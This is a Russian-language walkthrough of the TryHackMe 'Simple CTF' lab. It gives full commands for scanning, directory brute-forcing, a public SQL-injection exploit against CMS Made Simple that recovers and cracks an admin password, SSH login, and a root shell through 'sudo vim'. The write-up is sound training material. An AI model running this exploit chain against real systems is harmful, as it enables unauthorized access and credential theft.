📝 TryHackMe. Walkthrough: Simple CTF
- Площадка: TryHackMe
- Название комнаты: Simple CTF
- Сложность: Easy
How many services are running under port 1000?
$ nmap -A 10.10.203.52
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
Ответ: *
What is running on the higher port?
Ответ: s**
What’s the CVE you’re using against the application?
Попробуем сбрутить директории на веб-сервере.
$ python3 dirsearch.py -u http://10.10.203.52/
...
[13:47:22] 200 - 929B - /robots.txt
[13:47:26] 301 - 313B - /simple -> http://10.10.203.52/simple/
В директории /simple/
находится веб-сайт, подпись внизу говорит что оно работает на CMS Make Simple version 2.2.8
.
This site is powered by CMS Made Simple version 2.2.8
Пробуем найти доступные эксплоиты через searchsploit.
$ searchsploit 'cms made simple 2.2'
-------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
-------------------------------------------------------------------------------- ---------------------------------
CMS Made Simple 1.2.2 Module TinyMCE - SQL Injection | php/webapps/4810.txt
CMS Made Simple 2.2.14 - Arbitrary File Upload (Authenticated) | php/webapps/48779.py
CMS Made Simple 2.2.14 - Authenticated Arbitrary File Upload | php/webapps/48742.txt
CMS Made Simple 2.2.14 - Persistent Cross-Site Scripting (Authenticated) | php/webapps/48851.txt
CMS Made Simple 2.2.15 - 'title' Cross-Site Scripting (XSS) | php/webapps/49793.txt
CMS Made Simple 2.2.15 - RCE (Authenticated) | php/webapps/49345.txt
CMS Made Simple 2.2.15 - Stored Cross-Site Scripting via SVG File Upload (Authe | php/webapps/49199.txt
CMS Made Simple 2.2.5 - (Authenticated) Remote Code Execution | php/webapps/44976.py
CMS Made Simple 2.2.7 - (Authenticated) Remote Code Execution | php/webapps/45793.py
CMS Made Simple < 2.2.10 - SQL Injection | php/webapps/46635.py
$ searchsploit -m 46635
Exploit: CMS Made Simple < 2.2.10 - SQL Injection
URL: https://www.exploit-db.com/exploits/46635
Path: /usr/local/opt/exploitdb/share/exploitdb/exploits/php/webapps/46635.py
File Type: Python script text executable, ASCII text
Нам подходит SQLi.
Ответ: CVE-2019-****
To what kind of vulnerability is the application vulnerable?
Ответ: sq**
What’s the password?
$ python 46635.py
[+] Specify an url target
[+] Example usage (no cracking password): exploit.py -u http://target-uri
[+] Example usage (with cracking password): exploit.py -u http://target-uri --crack -w /path-wordlist
[+] Setup the variable TIME with an appropriate time, because this sql injection is a time based.
$ python 46635.py -u http://10.10.203.52/simple/ --crack -w password-list-all.txt
[+] Salt for password found: 1dac0d92e9fa6bb2
[+] Username found: mitch
[+] Email found: admin@admin.com
[+] Password found: 0c01f4468bd75d7a84c7eb73846e8d96
[+] Password cracked: secret
Where can you login with the details obtained?
Помимо админ-панели CMS, с этими доступами мы так же можем попробовать подключиться к SSH.
Ответ: s*h
What’s the user flag?
Прочитайте файл в домашней директории.
Ответ: ***d **b, ke** u*!
Is there any other user in the home directory? What’s its name?
ls -la /home/
Ответ: su****h
What can you leverage to spawn a privileged shell?
Проверим, какие у нас есть привелегии для sudo
.
$ sudo --list
User mitch may run the following commands on Machine:
(root) NOPASSWD: /usr/bin/vim
Ответ: **m
What’s the root flag?
Получаем рутовый шелл через sudo
.
sudo vim -c ':!/bin/sh'
И читаем файл с флагом в директории /root/
.
Ответ: W*** d***. **u **** ***